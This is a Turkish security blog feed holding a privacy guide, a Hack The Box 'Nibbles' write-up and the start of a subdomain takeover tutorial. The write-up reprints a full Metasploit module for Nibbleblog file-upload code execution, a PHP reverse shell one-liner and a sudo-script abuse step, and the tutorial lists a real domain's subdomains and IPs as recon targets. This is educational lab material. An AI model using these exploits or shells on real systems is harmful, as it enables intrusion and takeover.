Berk İMRAN, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Wed, 02 Sep 2020 09:58:10 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png Berk İMRAN, Yazar: CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Gizlilik Rehberi – 1 https://canyoupwn.me/tr-gizlilik-rehberi-1/ https://canyoupwn.me/tr-gizlilik-rehberi-1/#respond Fri, 15 Jun 2018 06:10:58 +0000 https://canyoupwn.me/?p=7526 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha […]

TR | Gizlilik Rehberi – 1 Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha net görebiliyoruz. Bu yazımızda internette nasıl anonimlik sağlayacağınızdan bahsederken örnek olaylarla da istihbarat servislerinin ve 0-day araştırmacılarının nasıl bu gizliliği hiçe saydıklarını göreceğiz. Her şey kamerayı kapatmaktan ibaret değil…

 

1) WebRTC IP Leak

WebRTC (Web Real-Time Communication), adından da anlaşılabileceği üzere eş zamanlı dosya aktarımı, konferans, canlı akış ve web uygulamaları için tarayıcıların doğrudan birbiri ile haberleşebilmesini adına geliştirilmiş bir teknolojidir. Günümüz tarayıcılarında gömülü olarak gelmektedir ve direkt olarak çalıştırılabilmektedir. Her tarayıcıda gömülü gelen ve tetiklenmesi için herhangi ek bir aktiviteye gerek duymayan bir teknoloji için zafiyet de kaçınılmazdır. Peki nedir gizliliğimizi tehlikeye atan?

WebRTC, IP tanımlamasında standarttan farklı teknikler kullanır. Bu teknik Interactive Connectivity Establishment (ICE)’dir. ICE IP adresi tespitinde STUN/TURN sunucularını kullanılır. WebRTC açısından bakıldığında bu sunucular “IP adresim nedir?” sorusuna yanıt verir. Zafiyeti detaylı anlamak için bu kavramları da incelemek gerek.

Session Traversal Utilities for NAT (STUN)

WebRTC eşler aracılığıyla data alışverişi yaptığı için bu alışverin sağlanmasında STUN sunucuları kullanılır. Bağlantı sağlarken gönderilen bilgiler arasında LAN ve WAN bilgilerimiz de mevcut. Protokolün işleyişindeki mantıkda zafiyet ortataya çıkıyor. Buradaki IP bilgilerimiz gizlenmediği yani sunucu ve eş arasında düz metin halinde veri akışı sağlandığı için bilgilerimiz sızıyor.

Traversal Using Relays around NAT (TURN)

STUN protokolünden farkı eşler arasındaki veri akışında köprü görevi görmesidir. Diğer eşe bilgi giderken TURN sunucularından çıkış yapıldığı için kendi WAN ve LAN IP bilgilerimiz iletilmiş olur. Aşağıdaki şemada çalışma mantığı görülmektedir.

Zafiyetimiz WEB sitelerinin STUN sunucularına yapılan istekteki IP bilgilerinin kaydedilmesinden ibaret. VPN kullansanız dahi VPN protokolleri STUN sunucularına giden bilgilerin kontrolünü yapmadığı için VPN sunucularının atadığı IP gözükmeyecektir. Bu durumda triple VPN, proxy ya da diğer yöntemleri kullansanız dahi iç ağ IP adresiniz sızmış olacaktır. Zafiyet sırasında gerçekleşen isteğin kod bloğundan bir kesit;

function findIP(onNewIP) {
  var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
  var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}),
    noop = function() {},
    localIPs = {},
    ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g,
key;

https://berkimran.com.tr/ipleak/ipleak.html adresinden kendi tarayıcınızda testi gerçekleştirebilirsiniz.

Zafiyetli bir tarayıcıda iç ağ IP adresi resimdeki gibi ifşa olacaktır. Belirtmekte fayda var bu testi yaparken VPN kullandım. Testi yaptınız ve iç ağ IP adresiniz ifşa oldu, bu durumda tarayıcınıza bağlı olarak çeşitli korunma yöntemleri bulunmakta.

Firefox

  1. Adres satırına about:config yazıp ayarlara girin.
  2. İlk defa giriyorsanız riski kabul ediyorum butonuna tıklamalısınız.
  3. media.peerconnection.enabled değerini aratın.
  4. Çift tıklayarak değerini ‘false’ yapın.

Chrome

Günümüz itibarıyla sadece eklentiler ile engellemek mümkün. Bunun için WebRTC Network Limiter eklentisini kullanabilirsiniz.

Safari

Herhangi bir ayar yapmanıza gerek kalmadan Safari zafiyeti önlemektedir.

2) DNS Leak

Anonim olmak için mümkün olduğunca verilerinizi paylaşmamanız gerek. Dolayısıyla tüm trafiğinizin anonim şekilde sağlanması çok önemli. Güvenli iletişiminize birisizi sızarsa tüm bilgileriniz tehlikededir demektir. Söz konusu DNS olunca da bir zayıflık söz konusu oluyor tabii ki. İşletim sisteminiz ya da modeminizden dolayı size atanan bir DNS sunucundan dolayı tüm trafiğiniz ifşa olabilir. Bir anonim ağda bulunsanız dahi çeşitli durumlarda varsayılan DNS sunucusu ile bağlantı kurabilirsiniz. Bunu dnsleaktest.com sitesinde çok güzel açıklamışlar.

Görüldüğü üzere direk ISP servisinin DNS sunucu ile haberleşildiğinde zafiyet ortaya çıkabilmektedir. Günümüz servis sağlayıcılarının ve onun atadığı DNS sunucularının bizi izlediğini varsayarsak bir anonim bağlantının ne kadar güvenli olduğunu daha iyi kavrayabiliriz. Örnek bir test ve zayıflığın kanıtı;

Çözüm çok basit. VPN servisi ile anonim bir ağ kullanmak ve VPN servisinin DNS sunucularını kullanmak. Ayrıca bkz. Dnscrypt

3) VPN(Virtual Private Network)

Yasaklamalardan ve sansürlerden dolayı Türkiye’nin teknoloji gündemini oldukça meşgul eden bir konu. Konu ile alakalı çok güzel yazılar yazıldı, teknik olarak açıklandı. Ancak ben farklı bir soruya cevap bulmak istiyorum “peki hangi VPN?”. Açıkcası 2012’den bu yana bir fiil her türlü VPN firmasını test ettim, kullandım. 6 yılda neredeyse her firmanın gizlilik politikasını, double & triple VPN mantığını ve işin detaylarına hakim oldum. Şöyle tecrübeleri aktarmak isterim;

  • Aşinası olduğumuz bir “kayıt tutmuyoruz” klasiği

Türkiye’nin de yakından bildiği bir VPN firması, politikasında kendinden kayıt(log) tutmuyoruz diye bahsettiği halde bir hacklenme vakası ile sarsıldı. Zamanının 1day exploit kiti ile VPN firmasının sunucularına girmeyi başaran hacker, tutulan tüm logları tek tek gözler önüne serdi. Bundan dolayı da insanlarda “log tutmadıklarını nereden bilebiliriz” şeklinde sorular oluştu. Cevabı aslında hepimiz biliyoruz.

  • FBI, CIA, NSA gibi istihbarat çalışması yapanlara bilgi vermiyoruz

Uzun uzun yazıp açıklamak istemiyorum. Sadece şunu düşünmeniz yeterli. Ortalama aylık 100 dolar verdiğiniz bir firma sizi tüm istihbarat servislerine karşı koruyor 🙂

Peki hangi VPN firması seçilmeli?

Tecrübelerime dayanarak aşağıdaki maddelere dikkat çekmek isterim;

  • Ödeme yöntemi olarak elektronik para kabul etmesi(btc, eth. vs.),
  • Dns isteklerini, trafiği, timestamps, IP adres, ödeme yöntemi gibi kayıtları tutmaması,
  • Trafiğin hangi algoritma ile şifrelendiği,
  • Bağlı olduğu ülkenin yasaları,
  • Hizmet verdiği sunucu lokasyonları, varsa bandwidth sınırlaması,
  • E-mail ve parola ile değil kendi atadığı sistemle giriş yapılması(dolayısıyla veri tutulmayacak).

Özetle bir VPN firmasının gizlilik politikasında belirttiği yazıdan bir kesit;

…kullanıcılarımızla ilgili bilgileri ifşa etmemiz istendiğinde, elimizde verebileceğimiz hiçbir bilginin bulunmadığı anlamına geliyor. Ancak, kredi kartı ödemeleri ve banka havaleleri kayıt altına alınmaktadır. Bu kayıtlar, bankalar veya kart firmaları tarafından tutulmakta ve tarafımızca silinmesi imkanı bulunmamaktadır. Anonim olarak işlem yapabilmek için nakit veya kripto para birimi ile ödeme yapma seçeneklerini kullanın.

kıyaslama için https://thatoneprivacysite.net/ adresini kullanabilirsiniz. Ek olarak;

https://torrentfreak.com/vpn-services-keep-anonymous-2018/
https://medium.com/@blackVPN/no-logs-6d65d95a3016
https://spideroak.com/articles/guest-post-can-you-trust-a-vpn-to-protect-your-privacy/

 

5 göz 9 Göz 14 göz

Şimdi tüm söylediklerimi unutun. Yukarıdaki en güvenli dediğimiz VPN firmaları bile neden güvensiz inceleyelim.
Ülkeler arasında istihbarat toplamak amaçlı bir ittifak vardır. Ülkelerin topluca vatandaşlarını izleme ve gözetlemesi üzerine kuruludur. Sızan verilerde Türkiye’nin de bunun için “milyon” dolar civarında bir yazılıma ödeme yaptığı görülmektedir. Detayını bilemediğimiz gibi kesinliği hakkında da bilgi sahibi değiliz. Gelelim göz(etleme)lere.
5 Göz;

  1. Avustralya
  2. Kanada
  3. Yeni Zelanda
  4. İngiltere
  5. Amerika

bkz. https://en.wikipedia.org/wiki/UKUSA_Agreement

Dokuz Göz(öncekileri de içerir);

  1. Danimarka
  2. Fransa
  3. Hollanda
  4. Norveç

Ondört Göz(öncekileri de içerir);

  1. Almanya
  2. Belçika
  3. İtalya
  4. İsveç
  5. İspanya

Şimdi sizden ricam o çok övdüğünüz VPN firmalarının hangi lokasyonda olduğuna bakmanız 🙂

Warrant Canary

Ekşi Sözlük’te ssg gayet net açıklamış şu şekilde alıntılayalım.

ing. mahkeme emri kanaryası. “kanarya” tabiri madenlerde gaz kaçağını tespit etmek için kanaryaların kullanımından geliyor. kanarya bıcır bıcır öttüğü sürece sürece gaz kaçağı olmadığını anlıyorsun. ne zaman kanarya susarsa gaz kaçağı olduğunu anlıyorsun. bu taktik, yani gaz kaçağı olduğunu değil ama olmadığını anlamak, amerikan şirketleri tarafından beyan etmenin suç olduğu hukuksal gizlilik durumlarını aşmak için kullanılıyor.
bir firmanın amerikan mahkemesi tarafından gizli emir almasını beyan etmesi hukuken yasak, ama almadığını beyan etmesi değil. dolayısıyla firma ta ki alana kadar:

“bugüne kadar mahkemeden gizli bir emir almadık”

beyanı yazıyor. ne zaman o yazı kaybolursa anlıyorsun ki gizli emir almışlar. bildiğim kadarıyla bu tekniğin gerçekten mahkemede uygulayanı akladığı test edilmedi ama büyük mecra ve servis sağlayıcılar tarafından yaygın olarak kullanılıyor.

VPN kullanmak sizi tamamen anonim yapmaz. Ancak eskisine göre daha iyi bir çözüm sunar.

 

4)TOR(The Onion Routing)

Üzerine onlarca yazı yazıldı, onlarca eğitim videosu çekildi. O yüzden yine bilinen kısımdan ziyade biraz yorumsal kısmına değinmek istiyorum. TOR projesi gizlilik için en büyük çalışmalardan birisi. Günümüzde hakkında onlarca fikir var. Çoğunluk projenin istihbarat servisleri tarafından fonlandığını ve suçluları bulmak için ellerinde 0day exploitler bulundurduğunu düşünmekte. Bug bounty kapsamında gönderilen örnek bir raporu incelemekte fayda var “https://hackerone.com/reports/253429“. Çoğu kişinin bundan daha kritik zafiyetleri bulduğuna eminiz. Aşağıdaki haberleri okuyalım.

https://thehackernews.com/2017/11/tor-browser-real-ip.html
https://thehackernews.com/2017/09/tor-zero-day-exploits.html

Özetle çok büyük bir illegal aktivite için değilseniz, sadece gizliliğini düşünüyorsanız gayet yerinde bir tercih. Ancak %100 gizlilik sağlamadığını da umarım anlatabilmişimdir. Özellikle VPN ve TOR bağlantısı yapsanız bile hatta VPN > VPN > VPN > TOR > Web Proxy şeklinde bir şema izleseniz dahi bahsettiğimiz gibi WebRTC ile IP adresiniz ifşa olabilir.

5) HTTP Başlık Bilgileri

Siteleri görüntülemek için her istek yaptığımızda bir HTTP trafiği de oluşturmuş oluruz. Bu trafiğin içinde bilgilerimiz de gitmekte. Dolayısıyla bu trafikte giden bilgilerimizi mümkün olduğunca değiştirmeli ya da korumalıyız.

DNT (Do Not Track)

Beni izleme özelliği tarayıcılarımızda yıllardır mevcut. Siteye yaptığınız her isteğe “DNT: 1” değerini işler. Dolayısıyla siteye “beni izleme” mesajı vermiş oluruz. Ancak, bu sitenin %100 sizi izlemeyeceğine işaret değildir. Verilerinizin izlenip izlenmeyeceğini bu hususta yine site belirleyecektir. Aşağıda örnek bir istek gösterilmiştir.

User Agent

User-Agent bilgisinde hangi tarayıcıyı kullandığımız hangi işletim sistemine sahip olduğumuz gibi bilgiler gitmektedir. Dolayısıyla gerçekten farklı olarak bu bilgileri değiştirmemiz gizlilik açısından bir artı olacaktır. Reklam içeren link kısaltma sitelerine girdiğinizde genellikle işletim sisteminize göre zararlı yazılım gösterirler. GNU/Linux kullanan bir kullanıcı Windows işletim sistemine ait bir user-agent bilgisi kullanıyorsa karşısına Windows için üretilmiş bir zararlı yazılım çıkacaktır. Bundan dolayı hem gizliliğini sağlamış hem de güvenli kalmış olacaktır.

Resimde de görüldüğü gibi user-agent başlığından Mac bilgisini alan site ona göre zararlı göstermiş oldu. Bundan dolayıdır ki user-agent bilgimizi olduğundan farklı göstermek gerekli.

Cookie

Web sunucusu gelen kullanıcıları ayırt etmek için her kullanıcıya bir session tanımlar. Sunucunun tuttuğu Session id’yi şifreliyerek (değişiklik gösterebilir) Cookie bölümüne ekler. Özetle cookie sizin web sitesindeki parmak izinizdir. XSS zafiyeti ile kendisini yakından tanımaktayız. Oturum bilgilerinizin XSS ya da diğer zafiyetlerle elde edilmesi hem gizliliğiniz hem de güvenliğiniz açısından son derece kritiktir. Bu yazımızda çerezlerin güvenliği ve gizliliği hakkında iki hususta durmak istiyorum. Bunlardan ilki tarayıcıda saklanan cookie güvenliği diğeri ise web zafiyetleri ile alakalı.

  • Stealer

2011’den bu yana (tabii ki öncesinde de dahil olmak üzere) popülerleşmiş yerini fidye yazılımlarına bırakan bir backdoor türüdür. Stealer’ın amacı tarayıcıdaki çerezlerinizi alıp mail adresine, FTP adresine ya da sizin belirleyeceğiniz bir yöntemle size iletmektir. Başlangıca yerleşmez, kendini kopyalamaz, sadece tarayıcılardaki çerezleri okur ve ilgili adreslere iletir. Dolayısıyla diske erişim izni isteyecek ve dışarıya bağlantı oluşturacaktır. Diğer zararlı yazılımlara istinaden daha az izin istemektedir. Dolayısıyla korunmak adına diskte(tarayıcıda) çerez tutulmamalıdır. Bunun için tarayıcılarda seçenek bulunmakta, eklentilerle de bu olay güçlendirilmektedir. Daha öncesinden kalan çerezleriniz varsa Gutmann metoduyla silmeniz gerekmektedir.

  • Web Zafiyetleri

Web zafiyetleri ve cookie dendiği zaman akla gelen ilk zafiyet XSS’dir şüphesiz. XSS zafiyetinin işlevselliğine ve türevine bağlı olarak çerez bilginiz elde edilebilir. Buna önlem olarak çoğu tarayıcı özellikle Reflected(yansıtılan) XSS için iyileştirmeler yapmıştır. Ancak günümüzde bunlar hala yeterli değildir ve kolay atlatılabilmektedir. Bu durumda kullanıcılara ve geliştiricilere düşen sorumluluklar var. Geliştiriciler açısından bakıldığında, çerezlerin HttpOnly olarak işaretlenmesi ve SecureFlag kullanılması gereklidir. Bu şekilde örnek bir JavaScript XSS payload’ı ile tarayıcıdaki çereze erişilemeyecektir. Kullanıcı tarafından bakıldığında NoScript tarzı eklentiler ile her JavaScript dosyasının çalıştırılması engellenmelidir. Böylelikle Coinhive tarzı zararlı kod blokları ile siz video izlerken, sizin işlemciniz kullanılarak yapılan madenciliği engellemiş de olmaktasınız.

 

 

Referanslar:

https://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment
https://tools.ietf.org/html/rfc5766
https://github.com/VoidSec/WebRTC-Leak
https://www.privacytools.io/
https://dnsleaktest.com

 

TR | Gizlilik Rehberi – 1 Berk İMRAN

]]>
https://canyoupwn.me/tr-gizlilik-rehberi-1/feed/ 0
TR | Hack The Box :: Nibbles Writeup https://canyoupwn.me/tr-hack-the-box-nibbles-writeup/ Mon, 28 May 2018 10:23:42 +0000 https://canyoupwn.me/?p=7512 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme… Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz. root@kali:~# curl 10.10.10.75 <b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! --> /nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu […]

TR | Hack The Box :: Nibbles Writeup Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar,

Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme…

Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz.

root@kali:~# curl 10.10.10.75
<b>Hello world!</b>



<!-- /nibbleblog/ directory. Nothing interesting here! -->

/nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu anlıyoruz. Dolayısıyla öncelikli olarak zafiyet bulunmuş mu bakalım…

4.0.3 versiyonu için Metasploit modülü yazılmış. Bu modül ile de php dosyası yüklemenize dolayısıyla kod çalıştırmanıza olanak sağlayan bir exploit var.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Nibbleblog File Upload Vulnerability',
      'Description'     => %q{
          Nibbleblog contains a flaw that allows an authenticated remote
          attacker to execute arbitrary PHP code. This module was
          tested on version 4.0.3.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
        ],
      'References'      =>
        [
          ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
        ],
      'DisclosureDate'  => 'Sep 01 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['Nibbleblog 4.0.3', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
      ])
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def check
    cookie = do_login(username, password)
    return Exploit::CheckCode::Detected unless cookie

    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri.path, 'admin.php'),
      'cookie'      => cookie,
      'vars_get'    => {
        'controller'  => 'settings',
        'action'      => 'general'
      }
    )

    if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def do_login(user, pass)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri.path, 'admin.php')
    )

    fail_with(Failure::Unreachable, 'No response received from the target.') unless res

    session_cookie = res.get_cookies
    vprint_status("Logging in...")
    res = send_request_cgi(
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri.path, 'admin.php'),
      'cookie'      => session_cookie,
      'vars_post'   => {
        'username'  => user,
        'password'  => pass
      }
    )

    return session_cookie if res && res.code == 302 && res.headers['Location']
    nil
  end

  def exploit
    unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
      print_error("Target does not appear to be vulnerable.")
      return
    end

    vprint_status("Authenticating using #{username}:#{password}")

    cookie = do_login(username, password)
    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
    vprint_good("Authenticated with Nibbleblog.")

    vprint_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"

    data = Rex::MIME::Message.new
    data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
    data.add_part('My image', nil, nil, 'form-data; name="title"')
    data.add_part('4', nil, nil, 'form-data; name="position"')
    data.add_part('', nil, nil, 'form-data; name="caption"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
    data.add_part('1', nil, nil, 'form-data; name="image_resize"')
    data.add_part('230', nil, nil, 'form-data; name="image_width"')
    data.add_part('200', nil, nil, 'form-data; name="image_height"')
    data.add_part('auto', nil, nil, 'form-data; name="image_option"')
    post_data = data.to_s

    vprint_status("Uploading payload...")
    res = send_request_cgi(
      'method'        => 'POST',
      'uri'           => normalize_uri(target_uri, 'admin.php'),
      'vars_get'      => {
        'controller'  => 'plugins',
        'action'      => 'config',
        'plugin'      => 'my_image'
      },
      'ctype'         => "multipart/form-data; boundary=#{data.bound}",
      'data'          => post_data,
      'cookie'        => cookie
    )

    if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
      fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
    elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
      fail_with(Failure::Unknown, 'Unable to upload payload.')
    end

    vprint_good("Uploaded the payload.")

    php_fname = 'image.php'
    payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
    vprint_status("Parsed response.")

    register_files_for_cleanup(php_fname)
    vprint_status("Executing the payload at #{payload_url}.")
    send_request_cgi(
      'uri'     => payload_url,
      'method'  => 'GET'
    )
  end
end

Kodu incelediğimizde admin parolası ile giriş yapıp eklentideki file upload zafiyetinden faydalanarak image.php adında bir PHP dosyası göndererek kod çalıştırmakta. Tabii bunu yaparken parolayı bilmek gerek. Dolayısıyla script yazmaya dahi gerek kalmadan “admin:admin,admin:root,admin:nibbler,admin:nibbles” denemeleri sonucunda parolayı buluyorum.Exploit ettikten sonra yetkimizi alıyoruz.

LinEnum script’i ile zayıflıkları ararken, /home/nibbler/personal/stuff/monitor.sh dosyasından parolasız root haklarında komut çalıştırabileceğimi farkediyorum.

İlgili bash script’i inceleyelim.

                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

# clear the screen
clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name
do
        case $name in
          i)iopt=1;;
          v)vopt=1;;
          *)echo "Invalid arg";;
        esac
done

if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c ssh nibbler@localhost -i /home/nibbler/.ssh/test root && "cp $scriptname /usr/bin/monitor"
}
fi

if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi

if [[ $# -eq 0 ]]
then
{


# Define Variable tecreset
tecreset=$(tput sgr0)

# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os

# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset  && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"

# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture

# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip

# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip

# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers 

# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who 

# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"

# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset 
cat /tmp/diskusage

# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))

Öncelikle script’e yazma izni verdikten sonra ./monitor.sh ile başlatamadım(bash hariç). Dolayısıyla shell değiştirmek daha mantıklıydı. Dolasıyla php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/bash -i <&3 >&3 2>&3”);’
 kodu ile /bin/bash reverse shell aldım. Script normal çalışmakta ama sudo ve su komutlarını çalıştıramamaktaydım.

Makinada Python yoktu, SSH Key ile terminal alamadım. İnteraktif shell’e geçemememden dolayı geri dönerek monitor dosyasını editleyip sudo yetkisi ile çalıştırmayı denedim.

echo “cat /root/root.txt” >> monitor.sh  komutu ile dosyama root kullanıcısının dizinindeki flag’i okutmayı denedim. Sudo ./monitor.sh  ile çalıştırdığımda flag değeri geldi.

Pwned #1

TR | Hack The Box :: Nibbles Writeup Berk İMRAN

]]>
TR | Subdomain Takeover https://canyoupwn.me/tr-subdomain-takeover/ https://canyoupwn.me/tr-subdomain-takeover/#respond Sat, 31 Mar 2018 07:00:15 +0000 https://canyoupwn.me/?p=7476 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese merhaba, Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım. Subdomain Takeover Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. […]

TR | Subdomain Takeover Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese merhaba,

Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım.

Subdomain Takeover

Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. Amazon s3 sunucularında bucket oluşturmamanız ya da Google’da Gsuite kaydı yapmamanız bunlara örnektir.

Öncelikle hedef sitemizin subdomain listesini çıkarmamız gerek. Bunun için çok fazla yöntem var. Ben Shodan, Virustotal gibi özel(ücretli ve private) api’leri kullandığım için Aquatone aracına entegre etmesi kolay olduğundan bu aracı kullanıyorum. Subdomain tespitimizi aquatone-discover –domain edim.co komutu ile yapalım. Json ve txt olarak iki çıktı vermesi çeşitli işlemlerde işimizi oldukça kolaylaştıran etkenlerden. Bulduğumuz subdomainler;

1.edim.co,52.222.171.230
a.edim.co,52.222.171.17
apps.edim.co,52.222.171.253
badge.edim.co,52.222.171.237
badges.edim.co,52.222.171.191
box.edim.co,52.222.171.100
box.u.ph.edim.co,52.222.171.85
com.ph.edim.co,52.222.171.182
croc.edim.co,52.222.171.198
e.edim.co,52.222.171.141
ed.edim.co,52.222.171.128
embed.edim.co,52.35.188.254
g.edim.co,52.222.171.152
math.edim.co,52.222.171.44
